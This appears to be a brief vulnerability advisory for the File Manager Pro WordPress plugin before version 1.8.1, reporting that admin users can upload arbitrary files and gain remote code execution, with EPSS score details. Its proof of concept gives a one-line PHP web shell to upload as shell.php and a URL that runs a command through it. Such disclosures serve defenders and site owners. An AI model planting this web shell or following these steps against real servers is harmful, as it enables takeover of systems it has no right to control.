File Manager Pro < 1.8.1 - Admin+ Remote Code Execution

2023-09-1900:00:00

Alex Sanford

admin

file manager

remote code execution

exploit

security document

0.001 Low

EPSS

Percentile

43.7%

JSON

Description The plugin allows admin users to upload arbitrary files, even in environments where such a user should not be able to gain full control of the server, such as a multisite installation. This leads to remote code execution.

As an admin, use the File Manager UI to upload a file `shell.php` with the following contents:

<?php echo system($_GET['cmd']);

Visit `/shell.php?cmd=id` to trigger RCE.

0.001 Low

EPSS

Percentile

43.7%

JSON

Related for WPEX-ID:7FA03F00-25C7-4E40-8592-BB4001CE019D